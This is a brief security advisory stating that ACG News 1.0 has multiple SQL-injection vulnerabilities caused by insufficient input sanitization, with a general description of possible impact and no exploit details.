ACG News is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect ACG News 1.0; other versions may also be vulnerable.
